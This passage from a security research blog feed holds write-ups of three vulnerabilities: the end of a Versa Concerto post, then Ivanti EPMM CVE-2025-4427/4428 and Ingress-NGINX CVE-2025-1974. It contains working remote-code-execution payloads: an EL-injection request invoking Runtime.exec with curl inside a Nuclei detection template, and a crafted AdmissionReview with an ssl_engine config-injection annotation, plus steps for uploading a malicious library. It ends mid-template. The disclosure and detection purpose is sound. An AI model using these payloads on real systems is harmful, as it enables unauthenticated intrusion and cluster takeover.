<p>In conclusion, our research into the Versa Concerto platform has uncovered several critical vulnerabilities that pose significant security risks to enterprises relying on this technology. These vulnerabilities, ranging from authentication bypasses to remote code execution and container escapes, highlight the potential for severe exploitation if left unaddressed.</p>

<p>We urge organizations using Versa Concerto to implement additional security measures and remain vigilant. Our hope is that this disclosure will expedite the resolution process and enhance the overall security posture of the platform.</p>

<p>Nuclei template to detect this vulnerability is now part of the <a href="https://cloud.projectdiscovery.io/">ProjectDiscovery Cloud platform</a>, so you can automatically detect this vulnerability across your infrastructure. We also offer free monthly scans to help you detect emerging threats, covering all major vulnerabilities on an ongoing basis, plus a complete 30-day trial available to business email addresses.</p>

<p>For any questions, reach us at contact@projectdiscovery.io</p>]]></content><author><name></name></author><summary type="html"><![CDATA[Note - This is cross post from our work at Projectdiscovery Blog]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://httpvoid.com/assets/cover.png" /><media:content medium="image" url="https://httpvoid.com/assets/cover.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">CVE-2025-4427/4428 : Ivanti EPMM Remote Code Execution - Technical Analysis</title><link href="https://httpvoid.com/Ivanti-EPMM-Remote-Code-Execution.md" rel="alternate" type="text/html" title="CVE-2025-4427/4428 : Ivanti EPMM Remote Code Execution - Technical Analysis" /><published>2025-05-15T00:00:00+00:00</published><updated>2025-05-15T00:00:00+00:00</updated><id>https://httpvoid.com/Ivanti-EPMM-Remote-Code-Execution</id><content type="html" xml:base="https://httpvoid.com/Ivanti-EPMM-Remote-Code-Execution.md"><![CDATA[<p>Note - This is cross post from our work at <a href="https://projectdiscovery.io/blog/ivanti-remote-code-execution">Projectdiscovery Blog</a></p>

<h2 id="introduction">Introduction</h2>

<p>As security researchers, we all know that familiar dance when blackbox testing web apps and APIs. You poke an endpoint, get hit with “blah parameter is missing” or “blah is of the wrong type,” and after satisfying every requirement, you’re often met with the frustrating 401 or 403. That feeling of being so close, yet so far, is something we’ve all experienced.</p>

<p>However, in a recent analysis of Ivanti EPMM’s CVE-2025-4427 and CVE-2025-4428 , this very flow of execution – validation happening <em>before</em> authorization – inadvertently paved the way to an unauthenticated Remote Code Execution vulnerability in an Ivanti EPMM/Mobileiron.</p>

<h2 id="background">Background</h2>

<p>In Hibernate Validator, the <code class="language-plaintext highlighter-rouge">ConstraintValidatorContext.buildConstraintViolationWithTemplate(String messageTemplate)</code> call lets you supply a custom violation message using a template string. If that template is constructed from untrusted user input without any escaping or sanitization it effectively opens the door to server-side template injection (SSTI) or Expression-Language (EL) injection. At runtime, Hibernate may process the template through Spring’s StandardELContext to resolve placeholders like ${…}, inadvertently executing any embedded expressions</p>

<h2 id="patch-diffing">Patch Diffing</h2>

<p>We unpacked both the patched and unpatched builds of the EPMM server and ran a recursive diff across de-compiled classes. Two validators revealed one-line patches that neutralise user input within error messages:</p>

<p>In DeviceFeatureUsageReportQueryRequestValidator:</p>

<p><img src="/assets/imported/Ivanti-EPMM-Remote-Code-Execution/image-5.png" alt="" /></p>

<p>Before, the raw format field from the query string was passed into the message builder; after, it was replaced with an empty string. This eliminates the direct EL entry-point, since the message template no longer contains attacker data.</p>

<p>Similarly, In ScepSubjectValidator (used during certificate enrollment):</p>

<p><img src="/assets/imported/Ivanti-EPMM-Remote-Code-Execution/image-4.png" alt="" /></p>

<p>Here, any user-supplied certificate subject DN used to be HTML-encoded and then concatenated into the error template. That too could carry ${…} payloads into an EL context. The patch removes the interpolation entirely.</p>

<h2 id="mapping-source-to-sink">Mapping Source To Sink</h2>

<p>While looking where <code class="language-plaintext highlighter-rouge">DeviceFeatureUsageReportQueryRequest</code> validator is called, we came across the following controller:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@RequestMapping</span><span class="o">(</span><span class="n">method</span> <span class="o">=</span> <span class="no">GET</span><span class="o">,</span> <span class="n">value</span> <span class="o">=</span> <span class="s">"/api/v2/featureusage"</span><span class="o">)</span>
<span class="nd">@PreAuthorize</span><span class="o">(</span><span class="s">"hasPermissionForSpace(#adminDeviceSpaceId, {'PERM_FEATURE_USAGE_DATA_VIEW'})"</span><span class="o">)</span>
<span class="nd">@ResponseBody</span>
<span class="kd">public</span> <span class="nc">Response</span> <span class="nf">downloadDeviceFeatureUsageReport</span><span class="o">(</span>
    <span class="nd">@Valid</span> <span class="nd">@ModelAttribute</span> <span class="nc">DeviceFeatureUsageReportQueryRequest</span> <span class="n">queryRequest</span><span class="o">,</span>
    <span class="nc">HttpServletRequest</span> <span class="n">request</span><span class="o">)</span> <span class="o">{</span>
    <span class="o">[...]</span>
  <span class="o">}</span>
</code></pre></div></div>

<p>MobileIron API exposes GET endpoints at <code class="language-plaintext highlighter-rouge">/api/v2/featureusage</code> and <code class="language-plaintext highlighter-rouge">/api/v2/featureusage_history</code> and to allow administrators to download device-feature usage reports in formats such as CSV, JSON or PDF.</p>

<p>While making the request to this endpoint as an authenticated user with “format” as query parameter with an invalid value to see if the <code class="language-plaintext highlighter-rouge">DeviceFeatureUsageReportQueryRequestValidator</code> is triggered.</p>

<p><img src="/assets/imported/Ivanti-EPMM-Remote-Code-Execution/image-8.png" alt="" /></p>

<p>and as expected we got the response <code class="language-plaintext highlighter-rouge">"Format 'xxx' is invalid. Valid formats are 'json', 'csv'."</code></p>

<p>Now, entering a simple expression language evaluation payload such as <code class="language-plaintext highlighter-rouge">${3*333}</code> we could confirm the evaluation from response returned <code class="language-plaintext highlighter-rouge">"Format '999' is invalid. Valid formats are 'json', 'csv'."</code> .</p>

<p>Suprisingly, this also worked without authentication cookies or token i.e. as unauthenticated user.</p>

<p><img src="/assets/imported/Ivanti-EPMM-Remote-Code-Execution/image-7.png" alt="" /></p>

<h2 id="spring-mvcs-argument-resolution-and-security-ordering">Spring MVC’s Argument Resolution and Security Ordering</h2>

<p>To understand why unauthenticated EL evaluation remains possible, we must observe the precise sequence of steps Spring MVC takes for each incoming request:</p>

<ol>
  <li>The DispatcherServlet matches the request URL to a controller method via HandlerMapping.</li>
  <li>A HandlerAdapter begins preparing the method arguments: it instantiates parameter objects, binds request parameters, and if @Valid is present, runs all registered javax.validation.Validator implementations or Spring’s DataBinder hooks for those objects.</li>
  <li>Only after all arguments are bound and validated does Spring invoke the controller method. At this moment MethodSecurityInterceptor (the mechanism behind @PreAuthorize and @Secured) wraps the invocation and checks permissions.</li>
</ol>

<p>Because bean-validation fires in step 2, any code executed inside a custom ConstraintValidator runs with the application’s full privileges, even though the authentication and authorization filters have not yet been applied to the HTTP request.</p>

<h2 id="root-cause-analysis---tldr">Root Cause Analysis - Tldr;</h2>

<ul>
  <li>A request hits the controller with an attacker-controlled format parameter.</li>
  <li>Spring MVC binds query parameters to <code class="language-plaintext highlighter-rouge">DeviceFeatureUsageReportQueryRequest</code></li>
  <li>@Valid triggers <code class="language-plaintext highlighter-rouge">DeviceFeatureUsageReportQueryRequestValidator.isValid()</code>.</li>
  <li>The validator calls localizedMessageBuilder, inserting the untrusted format value into a message template.</li>
  <li>The template is parsed by the EL engine; any ${…} expression is evaluated immediately.</li>
  <li>Only after validation finishes does MethodSecurityInterceptor execute the <code class="language-plaintext highlighter-rouge">@PreAuthorize</code> check which is obviously too late.</li>
  <li>Result: arbitrary code runs in the application context, no credentials required.</li>
</ul>

<h2 id="extras">Extras</h2>

<p>Similarly, we found that <code class="language-plaintext highlighter-rouge">@ScepSubjectValidator</code> can be called post-authentication by an admin user that is allowed to create or edit SCEP certificate and test SCEP certificate enrollment.</p>

<p><img src="/assets/imported/Ivanti-EPMM-Remote-Code-Execution/image-6.png" alt="" /></p>

<h2 id="template">Template</h2>

<p>We’ve created a Nuclei template to easily identify vulnerable Ivanti EPMM instances:</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">id</span><span class="pi">:</span> <span class="s">CVE-2025-4427</span>

<span class="na">info</span><span class="pi">:</span>
  <span class="na">name</span><span class="pi">:</span> <span class="s">Ivanti Endpoint Manager Mobile - Unauthenticated Remote Code Execution</span>
  <span class="na">author</span><span class="pi">:</span> <span class="s">iamnoooob,rootxharsh,parthmalhotra,pdresearch</span>
  <span class="na">severity</span><span class="pi">:</span> <span class="s">critical</span>
  <span class="na">description</span><span class="pi">:</span> <span class="pi">|</span>
    <span class="s">An authentication bypass in Ivanti Endpoint Manager Mobile allowing attackers to access protected resources without proper credentials. This leads to unauthenticated Remote Code Execution via unsafe userinput in one of the bean validators which is sink for Server-Side Template Injection.</span>
  <span class="na">reference</span><span class="pi">:</span>
    <span class="pi">-</span> <span class="s">https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM</span>
  <span class="na">classification</span><span class="pi">:</span>
    <span class="na">cvss-metrics</span><span class="pi">:</span> <span class="s">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N</span>
    <span class="na">cvss-score</span><span class="pi">:</span> <span class="m">5.3</span>
    <span class="na">cve-id</span><span class="pi">:</span> <span class="s">CVE-2025-4427</span>
    <span class="na">cwe-id</span><span class="pi">:</span> <span class="s">CWE-288</span>
    <span class="na">epss-score</span><span class="pi">:</span> <span class="m">0.00942</span>
    <span class="na">epss-percentile</span><span class="pi">:</span> <span class="m">0.75063</span>
  <span class="na">metadata</span><span class="pi">:</span>
    <span class="na">verified</span><span class="pi">:</span> <span class="kc">true</span>
    <span class="na">max-request</span><span class="pi">:</span> <span class="m">2</span>
    <span class="na">shodan-query</span><span class="pi">:</span> <span class="s">http.favicon.hash:"362091310"</span>
    <span class="na">fofa-query</span><span class="pi">:</span> <span class="s">icon_hash="362091310"</span>
    <span class="na">product</span><span class="pi">:</span> <span class="s">endpoint_manager_mobile</span>
    <span class="na">vendor</span><span class="pi">:</span> <span class="s">ivanti</span>
  <span class="na">tags</span><span class="pi">:</span> <span class="s">cve,cve2025,ivanti,epmm,rce,ssti</span>

<span class="na">http</span><span class="pi">:</span>
  <span class="pi">-</span> <span class="na">raw</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="pi">|</span>
        <span class="s">GET /api/v2/featureusage_history?adminDeviceSpaceId=131&amp;format=%24%7b''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(''.getClass().forName('java.lang.Runtime')).exec('curl%20')%7d HTTP/1.1</span>
        <span class="s">Host: </span>

      <span class="pi">-</span> <span class="pi">|</span>
        <span class="s">GET /api/v2/featureusage?adminDeviceSpaceId=131&amp;format=%24%7b''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(''.getClass().forName('java.lang.Runtime')).exec('curl%20')%7d HTTP/1.1</span>
        <span class="s">Host: </span>

    <span class="na">stop-at-first-match</span><span class="pi">:</span> <span class="kc">true</span>
    <span class="na">matchers-condition</span><span class="pi">:</span> <span class="s">and</span>
    <span class="na">matchers</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="na">type</span><span class="pi">:</span> <span class="s">word</span>
        <span class="na">part</span><span class="pi">:</span> <span class="s">body</span>
        <span class="na">words</span><span class="pi">:</span>
          <span class="pi">-</span> <span class="s2">"</span><span class="s">Format</span><span class="nv"> </span><span class="s">'Process[pid="</span>
          <span class="pi">-</span> <span class="s2">"</span><span class="s">localizedMessage"</span>
        <span class="na">condition</span><span class="pi">:</span> <span class="s">and</span>

      <span class="pi">-</span> <span class="na">type</span><span class="pi">:</span> <span class="s">word</span>
        <span class="na">part</span><span class="pi">:</span> <span class="s">interactsh_protocol</span>
        <span class="na">words</span><span class="pi">:</span>
          <span class="pi">-</span> <span class="s">dns</span>

      <span class="pi">-</span> <span class="na">type</span><span class="pi">:</span> <span class="s">status</span>
        <span class="na">status</span><span class="pi">:</span>
          <span class="pi">-</span> <span class="m">400</span>
</code></pre></div></div>

<h2 id="timeline-for-cve-2025-4427">Timeline for CVE-2025-4427:</h2>

<ul>
  <li><strong>May 13, 2025</strong>: The National Vulnerability Database (NVD) published details of CVE-2025-2825, highlighting a high and a medium vulnerability in Ivanti EPMM versions that may result in unauthenticated RCE.</li>
  <li><strong>May 14, 2025</strong>: Security articles and advisories began circulating, emphasizing the critical nature of the vulnerability and recommending immediate patching.</li>
  <li><strong>May 15, 2025</strong>: The ProjectDiscovery Research Team published a Nuclei template to detect CVE-2025-4427, facilitating the identification of vulnerable Ivanti EPMM instances.</li>
</ul>

<h2 id="conclusion">Conclusion</h2>

<p>In the end, CVE-2025-4427 and its sibling CVE-2025-4428 serve as a striking reminder that even well-intentioned security controls can be undermined by the subtleties of framework internals. What appeared to be a simple EL-injection patch in Ivanti’s EPMM validators actually masked a deeper ordering flaw: bean-validation running before Spring Security’s authorization check. By diffing consecutive releases and tracing every call to buildConstraintViolationWithTemplate, we peeled back the layers of Spring MVC’s argument resolution and exposed a window where untrusted input could execute arbitrary code, all without ever presenting a login prompt.</p>

<p>If you’re running a vulnerable Ivanti EPMM instance, update to the one of the fixed versions 11.12.0.5, 12.3.0.2, 12.4.0.2 or 12.5.0.1 as detailed in the Ivanti advisory.</p>

<p>This nuclei template is now part of the ProjectDiscovery Cloud platform, so you can automatically detect this vulnerability across your infrastructure. We also offer free monthly scans to help you detect emerging threats, covering all major vulnerabilities on an ongoing basis, plus a complete 30-day trial available to business email addresses.</p>]]></content><author><name></name></author><summary type="html"><![CDATA[Note - This is cross post from our work at Projectdiscovery Blog]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://httpvoid.com/assets/cover.png" /><media:content medium="image" url="https://httpvoid.com/assets/cover.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">IngressNightmare: Unauth RCE in Ingress NGINX (CVE-2025-1974)</title><link href="https://httpvoid.com/IngressNightmare-Unauth-RCE-in-Ingress-NGINX.md" rel="alternate" type="text/html" title="IngressNightmare: Unauth RCE in Ingress NGINX (CVE-2025-1974)" /><published>2025-03-26T00:00:00+00:00</published><updated>2025-03-26T00:00:00+00:00</updated><id>https://httpvoid.com/IngressNightmare-Unauth-RCE-in-Ingress-NGINX</id><content type="html" xml:base="https://httpvoid.com/IngressNightmare-Unauth-RCE-in-Ingress-NGINX.md"><![CDATA[<p>Note - This is cross post from our work at <a href="https://projectdiscovery.io/blog/ingressnightmare-unauth-rce-in-ingress-nginx">Projectdiscovery Blog</a></p>

<p>A critical vulnerability (CVE-2025-1974) was recently discovered in the Kubernetes <strong>Ingress-NGINX Controller</strong> that allows <strong>unauthenticated remote code execution (RCE)</strong> on the ingress controller pod.</p>

<p>Originally discovered by the <a href="https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities">Wiz research</a> team (Nir Ohfeld, Ronen Shustin, Sagi Tzadik, Hillai Ben-Sasson) in late 2024 and disclosed in March 2025, CVE-2025-1974 is part of a series of vulnerabilities collectively called <strong>IngressNightmare</strong>.</p>

<blockquote>
  <p>If you’re specifically looking to use the IngressNightmare detection templates, feel free to skip ahead to the end of the blog post.</p>
</blockquote>

<h2 id="what-is-ingress-nginx-controller">What is Ingress-Nginx Controller?</h2>

<p><a href="https://github.com/kubernetes/ingress-nginx">Ingress-Nginx Controller</a> is one of the most popular ingress controllers available for Kubernetes, and a core Kubernetes project with over 18.1k+ stars on GitHub. It serves as a critical component in the Kubernetes ecosystem, acting as the gateway between external traffic and internal services running within a Kubernetes cluster.</p>

<h3 id="the-role-of-ingress-controllers-in-kubernetes">The Role of Ingress Controllers in Kubernetes</h3>

<p>In Kubernetes, an Ingress is an API object that manages external access to services within a cluster, typically via HTTP/HTTPS. However, the Ingress resource itself doesn’t do anything without an Ingress controller - a component that interprets the Ingress resource specifications and configures the actual routing.</p>

<p>Ingress-Nginx Controller fulfills this role by implementing the Ingress specification using NGINX, one of the most widely used reverse proxies and load balancers. It’s explicitly highlighted in the Kubernetes documentation as an example Ingress controller that fulfills the prerequisite for using Ingress in Kubernetes.</p>

<h2 id="technical-details-of-the-vulnerability-cve-2025-1974">Technical Details of the Vulnerability (CVE-2025-1974)</h2>

<h3 id="the-admission-controller-vulnerability">The Admission Controller Vulnerability</h3>

<p>CVE-2025-1974 is a critical vulnerability in the Ingress-Nginx Controller that allows for unauthenticated remote code execution. At its core, this vulnerability stems from a design flaw in how the admission controller component processes and validates incoming ingress objects.</p>

<p>The admission controller in Ingress-Nginx is designed to validate incoming ingress objects before they are deployed to ensure the resulting NGINX configuration will be valid. By default, these admission controllers are accessible over the network without authentication, making them a highly appealing attack vector.</p>

<h3 id="the-vulnerability-mechanism">The Vulnerability Mechanism</h3>

<p>When the Ingress-Nginx admission controller processes an incoming ingress object, it constructs an NGINX configuration from it and then validates it using the NGINX binary with the <code class="language-plaintext highlighter-rouge">-t</code> flag. Wiz research team found a vulnerability in this phase that allows injecting arbitrary NGINX configuration remotely by sending a malicious ingress object directly to the admission controller through the network.</p>

<p>The vulnerability specifically involves the Ingress annotation, which can be exploited to inject configuration into NGINX. Some annotations can be manipulated to inject arbitrary NGINX directives.</p>

<p>Let’s examine how this works:</p>

<ol>
  <li>The admission controller receives an ingress object with a specially crafted <code class="language-plaintext highlighter-rouge">auth-url</code> annotation</li>
  <li>When processing this annotation, the controller doesn’t properly sanitize the input</li>
  <li>The malicious annotation value is incorporated into the NGINX configuration</li>
  <li>During validation with <code class="language-plaintext highlighter-rouge">nginx -t</code>, the injected configuration causes code execution</li>
</ol>

<h3 id="from-configuration-injection-to-rce">From Configuration Injection to RCE</h3>

<p>The progression from configuration injection to remote code execution exploits weaknesses in NGINX’s configuration validation process. Initially, Wiz research team explored the <code class="language-plaintext highlighter-rouge">load_module</code> directive, which allows loading shared libraries from the filesystem. However, since this directive can only be used at the start of the NGINX configuration, it was incompatible with the injection point. Further investigation led to the <code class="language-plaintext highlighter-rouge">ssl_engine</code> directive, part of the OpenSSL module, which can also load shared libraries. Unlike <code class="language-plaintext highlighter-rouge">load_module</code>, <code class="language-plaintext highlighter-rouge">ssl_engine</code> can be used anywhere within the configuration file.</p>

<h3 id="uploading-a-shared-library">Uploading a Shared Library</h3>

<p>The next challenge in exploiting this vulnerability is placing a shared library on the pod’s filesystem. The research team discovered that the Ingress-Nginx pod also runs the NGINX instance itself, listening on port 80 or 443. By sending a specially crafted HTTP request to this instance, we can leverage NGINX’s client body buffers to upload a malicious shared library to the filesystem.</p>

<p>Once the shared library is uploaded and the malicious configuration is injected, the <code class="language-plaintext highlighter-rouge">ssl_engine</code> directive loads the library during the validation phase, executing the attacker’s code with the privileges of the Ingress-Nginx controller pod.</p>

<h3 id="affected-versions">Affected Versions</h3>

<p>This vulnerability affects:</p>

<ul>
  <li>Ingress-Nginx Controller version 1.11.x before 1.11.5</li>
  <li>Ingress-Nginx Controller versions below 1.11.0</li>
</ul>

<p>The vulnerability has been fixed in versions 1.12.1 and later, as well as 1.11.5 and later.</p>

<h2 id="exploitation-demonstration">Exploitation Demonstration</h2>

<p>This section provides a detailed walkthrough of how CVE-2025-1974 can be exploited in vulnerable Ingress-Nginx Controller deployments. Understanding the exploitation process is crucial for security teams to properly assess their risk and validate their defenses.</p>

<p>It’s important to note that by default, admission controllers are accessible over the network without authentication, making this attack vector particularly dangerous.</p>

<h4 id="step-1-identify-vulnerable-clusters">Step 1: Identify Vulnerable Clusters</h4>

<p>First, an attacker would identify clusters running vulnerable versions of Ingress-Nginx Controller. This can be done by:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl get pods <span class="nt">--all-namespaces</span> <span class="nt">--selector</span> app.kubernetes.io/name<span class="o">=</span>ingress-nginx
</code></pre></div></div>

<p>Then checking the image version to determine if it’s vulnerable (versions prior to 1.11.5 or 1.12.1).</p>

<h4 id="step-2-craft-a-malicious-admission-review-request">Step 2: Craft a Malicious Admission Review Request</h4>

<p>The attacker creates a specially crafted AdmissionReview request that includes an ingress object with the malicious <code class="language-plaintext highlighter-rouge">auth-url</code> annotation. Here’s an example of such a request:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"kind"</span><span class="p">:</span><span class="w"> </span><span class="s2">"AdmissionReview"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"apiVersion"</span><span class="p">:</span><span class="w"> </span><span class="s2">"admission.k8s.io/v1"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"request"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"uid"</span><span class="p">:</span><span class="w"> </span><span class="s2">"d48aa397-c414-4fb2-a2b0-b28187daf8a5"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"kind"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
      </span><span class="nl">"group"</span><span class="p">:</span><span class="w"> </span><span class="s2">"networking.k8s.io"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"version"</span><span class="p">:</span><span class="w"> </span><span class="s2">"v1"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"kind"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Ingress"</span><span class="w">
    </span><span class="p">},</span><span class="w">
    </span><span class="nl">"resource"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
      </span><span class="nl">"group"</span><span class="p">:</span><span class="w"> </span><span class="s2">"networking.k8s.io"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"version"</span><span class="p">:</span><span class="w"> </span><span class="s2">"v1"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"resource"</span><span class="p">:</span><span class="w"> </span><span class="s2">"ingresses"</span><span class="w">
    </span><span class="p">},</span><span class="w">
    </span><span class="nl">"requestKind"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
      </span><span class="nl">"group"</span><span class="p">:</span><span class="w"> </span><span class="s2">"networking.k8s.io"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"version"</span><span class="p">:</span><span class="w"> </span><span class="s2">"v1"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"kind"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Ingress"</span><span class="w">
    </span><span class="p">},</span><span class="w">
    </span><span class="nl">"requestResource"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
      </span><span class="nl">"group"</span><span class="p">:</span><span class="w"> </span><span class="s2">"networking.k8s.io"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"version"</span><span class="p">:</span><span class="w"> </span><span class="s2">"v1"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"resource"</span><span class="p">:</span><span class="w"> </span><span class="s2">"ingresses"</span><span class="w">
    </span><span class="p">},</span><span class="w">
    </span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"test-ingressxaa"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"namespace"</span><span class="p">:</span><span class="w"> </span><span class="s2">"default"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"operation"</span><span class="p">:</span><span class="w"> </span><span class="s2">"CREATE"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"userInfo"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">

    </span><span class="p">},</span><span class="w">
    </span><span class="nl">"object"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
      </span><span class="nl">"kind"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Ingress"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"apiVersion"</span><span class="p">:</span><span class="w"> </span><span class="s2">"networking.k8s.io/v1"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"metadata"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"test-ingressxaa"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"namespace"</span><span class="p">:</span><span class="w"> </span><span class="s2">"default"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"creationTimestamp"</span><span class="p">:</span><span class="w"> </span><span class="kc">null</span><span class="p">,</span><span class="w">
        </span><span class="nl">"annotations"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
          </span><span class="nl">"nginx.ingress.kubernetes.io/rewrite-target"</span><span class="p">:</span><span class="w"> </span><span class="s2">"/"</span><span class="p">,</span><span class="w">
</span><span class="nl">"nginx.ingress.kubernetes.io/auth-url"</span><span class="p">:</span><span class="w"> </span><span class="s2">"http://example.com#;}}}</span><span class="se">\n</span><span class="s2">ssl_engine /path/to/shared-library.so;events {</span><span class="se">\n</span><span class="s2">server { location /aa { #"</span><span class="w">
        </span><span class="p">}</span><span class="w">
      </span><span class="p">},</span><span class="w">
      </span><span class="nl">"spec"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nl">"ingressClassName"</span><span class="p">:</span><span class="w"> </span><span class="s2">"nginx"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"rules"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
          </span><span class="p">{</span><span class="w">
            </span><span class="nl">"host"</span><span class="p">:</span><span class="w"> </span><span class="s2">"test.local"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"http"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
              </span><span class="nl">"paths"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
              </span><span class="p">]</span><span class="w">
            </span><span class="p">}</span><span class="w">
          </span><span class="p">}</span><span class="w">
        </span><span class="p">]</span><span class="w">
      </span><span class="p">},</span><span class="w">
      </span><span class="nl">"status"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nl">"loadBalancer"</span><span class="p">:</span><span class="w"> </span><span class="p">{}</span><span class="w">
      </span><span class="p">}</span><span class="w">
    </span><span class="p">},</span><span class="w">
    </span><span class="nl">"oldObject"</span><span class="p">:</span><span class="w"> </span><span class="kc">null</span><span class="p">,</span><span class="w">
    </span><span class="nl">"dryRun"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w">
    </span><span class="nl">"options"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
      </span><span class="nl">"kind"</span><span class="p">:</span><span class="w"> </span><span class="s2">"CreateOptions"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"apiVersion"</span><span class="p">:</span><span class="w"> </span><span class="s2">"meta.k8s.io/v1"</span><span class="w">
    </span><span class="p">}</span><span class="w">
  </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>The key part of this payload is the <code class="language-plaintext highlighter-rouge">auth-url</code> annotation, which contains the NGINX configuration injection.</p>

<h4 id="step-3-upload-a-malicious-shared-library">Step 3: Upload a Malicious Shared Library</h4>

<p>In parallel, the attacker needs to upload a malicious shared library to the pod’s filesystem. This can be done by sending a specially crafted HTTP request to the NGINX instance running in the same pod:</p>

<ol>
  <li>Create a malicious shared library (.so file) that contains the code to be executed</li>
  <li>Send a large HTTP POST request to the NGINX instance</li>
  <li>The request body will be buffered to disk due to its size</li>
  <li>The attacker can then reference this file using the <code class="language-plaintext highlighter-rouge">ssl_engine</code> directive</li>
</ol>

<h4 id="step-4-execute-the-payload">Step 4: Execute the Payload</h4>

<p>When the admission controller processes the malicious ingress object, it will:</p>

<ol>
  <li>Generate an NGINX configuration that includes the injected directives</li>
  <li>Validate the configuration using <code class="language-plaintext highlighter-rouge">nginx -t</code></li>
  <li>During validation, the <code class="language-plaintext highlighter-rouge">ssl_engine</code> directive will load the malicious shared library</li>
  <li>The code in the shared library will execute with the privileges of the Ingress-Nginx controller pod</li>
</ol>

<h2 id="nuclei-templates-for-ingressnightmare-detection">Nuclei Templates for IngressNightmare Detection</h2>

<p>To help security teams identify vulnerable Ingress-Nginx Controller deployments in their environments, we’ve write Nuclei templates for both external and internal testing. These templates can be used to detect the presence of CVE-2025-1974 in your Kubernetes clusters.</p>

<h3 id="vulnerable-exposed-admission-controller-template">Vulnerable Exposed Admission Controller Template</h3>

<p>This template is designed to detect vulnerable <code class="language-plaintext highlighter-rouge">Ingress-Nginx</code> admission controllers that are exposed to the internet. It works by sending a crafted admission review request and analyzing the response.</p>

<p><strong>Nuclei Template to detect **CVE-2025-1974</strong> - **<a href="https://cloud.projectdiscovery.io/public/CVE-2025-1974"><strong>CVE Scan URL</strong></a></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">id</span>: CVE-2025-1974

info:
  name: Ingress-Nginx Controller - Remote Code Execution
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    A security issue was discovered <span class="k">in </span>ingress-nginx where the <span class="sb">`</span>auth-tls-match-cn<span class="sb">`</span> Ingress annotation can be used to inject configuration into nginx. This can lead to arbitrary code execution <span class="k">in </span>the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller
  impact: |
    Vulnerable versions of Ingress-Nginx controller can be exploited to gain unauthorized access to all secrets across namespaces <span class="k">in </span>the Kubernetes cluster, potentially leading to <span class="nb">complete </span>cluster takeover.
  remediation: |
    Update to one of the following versions: Version 1.12.1 or later / Version 1.11.5 or later
  reference:
    - https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities
    - https://projectdiscovery.io/blog/ingressnightmare-unauth-rce-in-ingress-nginx
    - https://nvd.nist.gov/vuln/detail/CVE-2025-1974
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-653
    cve-id: CVE-2025-1974
  metadata:
    verified: <span class="nb">true
    </span>max-request: 1
    shodan-query: ssl:<span class="s2">"ingress-nginx"</span> port:8443
  tags: cve,cve2025,cloud,devops,kubernetes,ingress,nginx,k8s

http:
